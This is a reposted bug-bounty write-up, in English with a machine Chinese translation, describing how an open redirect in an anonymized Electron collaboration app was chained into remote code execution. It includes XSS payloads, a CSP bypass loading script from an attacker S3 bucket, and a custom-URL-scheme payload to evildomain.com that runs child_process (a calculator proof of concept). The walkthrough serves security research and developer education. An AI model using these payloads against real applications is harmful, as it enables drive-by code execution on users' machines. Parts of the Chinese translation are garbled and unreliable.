sesame数据库

这是Node的世界-我们只是生活在其中 (It’s Node’s World — We Just Live In It)

For better or worse, Node.js has rocketed up the developer popularity charts. Thanks to frameworks like React, React Native, and Electron, developers can easily build clients for mobile and native platforms. These clients are delivered in what are essentially thin wrappers around a single JavaScript file.

不管是好是坏,Node.js都在开发人员的人气榜上Swift上升。 借助React,React Native和Electron之类的框架,开发人员可以轻松地为移动平台和本机平台构建客户端。 这些客户端实际上是围绕单个JavaScript文件的瘦包装提供的。

As with any modern convenience, there are tradeoffs. On the security side of things, moving routing and templating logic to the client-side makes it easier for attackers to discover unused API endpoints, unobfuscated secrets, and more. Check out Webpack Exploder, a tool I wrote that decompiles Webpacked React applications into their original source code.

与任何现代便利性一样,也需要权衡取舍。 在安全性方面,将路由和模板逻辑移到客户端可以使攻击者更容易发现未使用的API端点,未混淆的机密等等。 查看Webpack Exploder ,这是我编写的将Webpacked React应用程序反编译为原始源代码的工具。

For native desktop applications, Electron applications are even easier to decompile and debug. Instead of wading through Ghidra/Radare2/Ida and heaps of assembly code, attackers can use Electron’s built-in Chromium DevTools. Meanwhile, Electron’s documentation recommends packaging applications into asar archives, a tar-like format that can be unpacked with a simple one-liner.

对于本机桌面应用程序,Electron应用程序甚至更易于反编译和调试。 攻击者无需使用Ghidra / Radare2 / Ida和大量汇编代码,而可以使用Electron的内置Chromium DevTools 。 同时,Electron的文档建议将应用程序打包到asar档案中后者是一种类似tar的格式,可以通过简单的单行包解压缩。

With the source code, attackers can search for client-side vulnerabilities and escalate them to code execution. No funky buffer overflows needed — Electron’s nodeIntegration setting puts applications one XSS away from popping calc.

使用源代码,攻击者可以搜索客户端漏洞,并将其升级为代码执行。 不需要时髦的缓冲区溢出nodeIntegrationnodeIntegration设置使应用程序距离弹出calc nodeIntegration 一个XSS

I love the whitebox approach to testing applications. If you know what you are looking for, you can zoom into weak points and follow your exploit as it passes through the code.

我喜欢白盒测试应用程序的方法。 如果您知道要查找的内容,则可以放大薄弱环节,并在漏洞通过代码时进行跟踪。

This blog post will go through my whitebox review of an unnamed Electron application from a bug bounty program. I will demonstrate how I escalated an open redirect into remote code execution with the help of some debugging. Code samples have been modified and anonymized.

这篇博文将通过我对来自漏洞赏金计划的未命名的Electron应用程序的白盒审查。 我将演示如何借助一些调试将开放重定向升级为远程代码执行。 代码示例已被修改并匿名化。

从白盒到漏洞利用 (From Whitebox to Exploit)

My journey began one day when I spotted Jasmin’s tweet and was inspired to do some Electron hacking myself. I began by installing the application on MacOS, then retrieved the source code:

我的旅程始于一天,我发现Jasmin的推文,并受到启发去做一些自己的电子黑客活动。 我首先在MacOS上安装该应用程序,然后检索了源代码:

  1. Browse to the Application folder.

    浏览到“ Application文件夹。

  2. Right-click the application and select Show Package Contents.

    右键单击该应用程序,然后选择Show Package Contents

  3. Enter the Contents directory that contains an app.asar file.

    输入包含app.asar文件的Contents目录。

  4. Run npx asar extract app.asar source (Node should be installed).

    运行npx asar extract app.asar source (应安装Node)。

  5. View the decompiled source code in the new source directory!

    在新的source目录中查看反编译的源代码!

发现脆弱的配置 (Discovering Vulnerable Config)

Peeking into package.json, I found the configuration "main": "app/index.js", telling me that the main process was initiated from the index.js file. A quick check of index.js confirmed that nodeIntegration was set to true for most of the BrowserWindow instances. This meant that I could easily escalate attacker-controlled JavaScript to native code execution. When nodeIntegration is true, JavaScript in the window can access native Node.js functions such as require and thus import dangerous modules like child_process. This leads to the classic Electron calc payload require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).

窥探package.json ,我发现配置"main": "app/index.js" ,告诉我主进程是从index.js文件启动的。 快速检查index.js证实nodeIntegration设置为true对于大多数的BrowserWindow实例。 这意味着我可以轻松地将攻击者控制JavaScript升级为本地代码执行。 当nodeIntegrationtrue ,窗口中JavaScript可以访问本机Node.js函数(例如require ,从而导入child_process类的危险模块。 这导致经典的电子计算有效负载 require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

尝试XSS (Attempting XSS)

So now all I had to do was find an XSS vector. The application was a cross-platform collaboration tool (think Slack or Zoom), so there were plenty of inputs like text messages or shared uploads. I launched the app from the source code with electron . --proxy-server=127.0.0.1:8080, proxying web traffic through Burp Suite.

所以现在我要做的就是找到一个XSS向量。 该应用程序是一个跨平台的协作工具(例如Slack或Zoom),因此有很多输入,例如文本消息或共享上载。 我从带electron . --proxy-server=127.0.0.1:8080的源代码启动了该应用程序electron . --proxy-server=127.0.0.1:8080 electron . --proxy-server=127.0.0.1:8080 ,通过Burp Suite代理Web流量。

I began testing HTML payloads like <b>pwned</b> in each of the inputs. Not long after, I got my first pwned! This was a promising sign. However, standard XSS payloads like <script>alert()</script> or <svg onload=alert()> simply failed to execute. I needed to start debugging.

我开始在每个输入中测试HTML有效载荷,例如<b>pwned</b> 。 不久之后,我得到了第一笔贷款 ! 这是一个有希望的迹象。 但是,诸如<script>alert()</script><svg onload=alert()>类的标准XSS负载完全无法执行。 我需要开始调试。

绕过CSP (Bypassing CSP)

By default, you can access DevTools in Electron applications with the keyboard shortcut Ctrl+Shift+I or the F12 key. I mashed the keys but nothing happened. It appeared that the application had removed the default keyboard shortcuts. To solve this mystery, I searched for globalShortcut (Electron's keyboard shortcut module) in the source code. One result popped up:

默认情况下,您可以使用键盘快捷键Ctrl+Shift+IF12键访问Electron应用程序中的DevTools。 我把钥匙弄混了,但是什么也没发生。 该应用程序似乎已删除了默认的键盘快捷键。 为了解决这个globalShortcut ,我在源代码中搜索了globalShortcut ( Electron的键盘快捷方式模块 )。 弹出一个结果:

electron.globalShortcut.register('CommandOrControl+H', () => {
activateDevMenu();
});

Aha! The application had its own custom keyboard shortcut to open a secret menu. I entered CMD+H and a Developer menu appeared in the menu bar. It contained a number of juicy items like Update and Callback, but most importantly, it had DevTools! I opened DevTools and resumed testing my XSS payloads. It soon became clear why they were failing – an error message popped up in the DevTools console complaining about a Content Security Policy (CSP) violation. The application itself was loading a URL with the following CSP:

啊哈! 该应用程序具有自己的自定义键盘快捷键,可以打开一个秘密菜单。 我输入了CMD+H并且Developer菜单出现在菜单栏中。 它包含许多UpdateCallback类的多汁项目,但最重要的是,它具有DevTools ! 我打开了DevTools,然后继续测试我的XSS有效负载。 很快就知道它们失败的原因–在DevTools控制台中弹出一条错误消息,抱怨违反内容安全策略(CSP)。 应用程序本身正在使用以下CSP加载URL:

Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com

The CSP excluded the unsafe-inline policy, blocking event handlers like the svg payload. Furthermore, since my payloads were injected dynamically into the page using JavaScript, typical <script> tags failed to execute. Fortunately, the CSP had one fatal error: it allowed wildcard URLs. In particular, the https://*.s3.amazonaws.com policy allowed me to include scripts from my own S3 bucket! To inject and execute a script tag dynamically, I used a trick I learned from Intigriti's Easter XSS challenge which used iframe's srcdoc attribute:

CSP排除了unsafe-inline策略,从而阻止了诸如svg有效负载之类的事件处理程序。 此外,由于我的有效载荷是使用JavaScript动态注入到页面中的,因此典型的<script>标签无法执行。 幸运的是,CSP有一个致命错误:它允许使用通配符URL。 特别是https://*.s3.amazonaws.com政策允许我包括我自己的S3存储桶中的脚本! 为了动态注入并执行脚本标签,我使用了从Intigriti的Easter XSS挑战中学到的技巧,该技巧使用了iframesrcdoc属性:

<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>

(I anonymized the source URL.)

(我匿名了源URL。)

With that, I got my lovely alert box! Adrenaline pumping, I modified evilscript.js to window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}), re-sent the XSS payload, and... nothing.

这样,我得到了我可爱的警报框! evilscript.js肾上腺素,我将evilscript.js修改为window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}) ,重新发送XSS有效负载,并... 没有。

Image for post

We need to go deeper.

我们需要更深入。

Require (The Room of Requirement)

Heading back to the DevTools console, I noticed the following error: Uncaught TypeError: window.require is not a function. This was perplexing, because when nodeIntegration is set to true, Node.js functions like require should be included in window. Going back to the source code, I noticed these lines of code when creating the vulnerable BrowserWindow:

回到DevTools控制台,我注意到以下错误: Uncaught TypeError: window.require is not a function 。 这令人困惑,因为当将nodeIntegration设置为truewindow应包含诸如require类的Node.js函数。 回到源代码,在创建易受攻击的BrowserWindow时,我注意到了以下BrowserWindow行代码:

const appWindow = createWindow('main', {
width: 1080,
height: 660,
webPreferences: {
nodeIntegration: true,
preload: path.join(__dirname, 'preload.js')
},
});

Looking into preload.js:

调查preload.js

window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;

Aha! The application was renaming/deleting require in the preload sequence. This wasn't an attempt at security by obscurity; it's boilerplate code from the Electron documentation in order to get third party JavaScript libraries like AngularJS to work! As I've mentioned previously, insecure configuration is a consistent theme among vulnerable applications. By turning on nodeIntegration and re-introducing require into the window, code execution becomes a singificant possibility.

啊哈! 该应用程序正在按预加载顺序重命名/删除require 。 这并不是默默无闻地试图确保安全; 这是Electron文档中的样板代码 ,以便使AngularJS等第三方JavaScript库正常工作! 正如我前面提到的 ,不安全的配置是脆弱的应用之间的一致的主题。 通过接通nodeIntegration并重新引入require到窗口,执行代码成为singificant可能性。

With one more tweak (using window.parent.nodeRequire since I was I executing my XSS from an iframe), I sent off my new payload, and got my calc!

window.parent.nodeRequire一次调整(因为我是从iframe执行XSS的,所以使用window.parent.nodeRequire ),我发送了新的有效负载,并得到了计算结果!

按驱动器执行代码 (Drive-By Code Execution)

Before I looked at the native application, I found an open redirect in the web application at the page https://collabapplication.com/redirect.jsp?next=//evil.com. However, the triager asked me to demonstrate additional impact. One feature of the native application was that it was able to open a new window from a web link in the browser.

在查看本机应用程序之前,我在Web应用程序中的页面https://collabapplication.com/redirect.jsp?next=//evil.com找到了一个打开的重定向。 但是,分类人员要求我证明其他影响。 本机应用程序的一个功能是它能够通过浏览器中的Web链接打开一个新窗口。

Consider applications like Slack and Zoom. Have you ever wondered how you can open a link on, say, zoom.us, and be prompted to open your Zoom application?

考虑Slack和Zoom之类的应用程序。 您是否曾经想过如何打开例如zoom.us上的链接,并提示您打开Zoom应用程序?

Image for post

That’s because these websites are trying to open custom URL schemes that have been registered by the native application. For example, Zoom registers the zoommtg custom URL scheme with your operating system, so that if you have Zoom installed and try to open zoommtg://zoom.us/start?confno=123456789&pwd=xxxx in your browser (try it!), you will be prompted to open the native application. In some less-secure browsers, you won't even be prompted at all!

这是因为这些网站正在尝试打开已由本机应用程序注册的自定义URL方案。 例如,Zoom在您的操作系统中注册了zoommtg自定义URL方案,因此,如果您已安装Zoom,并尝试在浏览器中打开zoommtg://zoom.us/start?confno = 123456789&pwd = xxxx(请尝试!),系统将提示您打开本机应用程序。 在某些安全性较低的浏览器中,甚至根本不会提示您!

I noticed that the vulnerable application had a similar function. It would open a collaboration room in the native application if I visited a page on the website. Digging into the code, I found this handler:

我注意到易受攻击的应用程序具有类似的功能。 如果我访问了网站上的页面,它将在本机应用程序中打开一个协作室。 深入研究代码,我发现了这个处理程序:

function isWhitelistedDomain(url) {
var allowed = ['collabapplication.com'];
var test = extractDomain(url); if( allowed.indexOf(test) > -1 ) {
return true;
} return false;
};let launchURL = parseLaunchURL(fullURL);if
appWindow.loadURL(launchURL);
} else {
appWindow.loadURL(homeURL);
}

Let’s break this down. When the native application is launched from a custom URL scheme (in this case, collabapp://collabapplication.com?meetingno=123&pwd=abc), this URL is passed into the launch handler. The launch handler extracts the URL after collabapp://, checks that the domain in the extracted URL is collabapplication.com, and loads the URL in the application window if it passes the check.

让我们分解一下。 从自定义URL方案(在本例中为collabapp://collabapplication.com?meetingno=123&pwd=abc )启动本机应用程序时,此URL将传递到启动处理程序中。 启动处理程序在collabapp://之后提取URL,检查提取的URL中的域是否为collabapplication.com ,如果通过检查,则将URL加载到应用程序窗口中。

While the whitelist checking code itself is correct, the security mechanism is incredibly fragile. So long as there is a single open redirect in collabapplication.com, you could force the native application to load an arbitrary URL in the application window. Combine that with the nodeIntegration vulnerability, and all you need is a redirect to an evil page that calls window.parent.nodeRequire(...) to get code execution!

尽管白名单检查代码本身是正确的,但安全机制却非常脆弱。 只要collabapplication.com有一个打开的重定向,您就可以强制本机应用程序在应用程序窗口中加载任意URL。 将其与nodeIntegration漏洞相结合,您所nodeIntegration就是重定向到一个邪恶的页面,该页面调用window.parent.nodeRequire(...)以执行代码!

My final payload was as follows: collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html. On evil.html, I simply ran window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).

我的最终有效负载如下: collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html 。 在evil.html ,我只运行window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

Now, if the victim user visits any webpage that loads the evil custom URL scheme, calculator pops! Drive-by code execution without the browser zero-days.

现在,如果受害者用户访问了任何加载了不良自定义URL方案的网页,计算器就会弹出! 无需浏览器为零天的直接执行代码。

这是我们生活的世界 (This is the World We Live In)

As new applications flourish in the wake of the COVID-19 pandemic, developers might be tempted to take shortcuts that could lead to devastating security holes. These vulnerabilities cannot be fixed quickly because they are caused by mistakes early on in the development cycle.

随着COVID-19大流行之后新应用程序的兴旺发展,开发人员可能会倾向于采用捷径,而捷径可能导致破坏性的安全漏洞。 这些漏洞无法快速解决,因为它们是开发周期早期的错误造成的。

Think back to the nodeIntegration and preload issues with the vulnerable application – the application will always remain brittle and vulnerable unless these architectural and configuration issues are fixed. Even if they patch one XSS or open redirect, any new instance of those bugs will lead to code execution. At the same time, turning nodeIntegration off would break the entire application. It needs to be rewritten from that point onwards.

回想一下易受攻击的应用程序的nodeIntegrationpreload问题–除非解决了这些体系结构和配置问题,否则应用程序将始终脆弱且易受攻击。 即使他们修补了一个XSS或打开重定向,这些错误的任何新实例都将导致代码执行。 同时,关闭nodeIntegration将破坏整个应用程序。 从那时起,需要对其进行重写。

Node.js frameworks like Electron allow for developers to rapidly build native applications using languages and tools they are familiar with. However, the userland is a vastly different threat landscape; popping alert in your browser is very different from popping calc in your application. Developers and users should tread carefully.

像Electron这样的Node.js框架允许开发人员使用他们熟悉的语言和工具快速构建本机应用程序。 但是,用户区是一个截然不同的威胁。 浏览器中的弹出alert与应用程序中的弹出calc有很大的不同。 开发人员和用户应谨慎行事。

翻译自: https://medium.com/swlh/open-sesame-escalating-open-redirect-to-rce-with-electron-code-review-13caf6e9ad36

sesame数据库

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐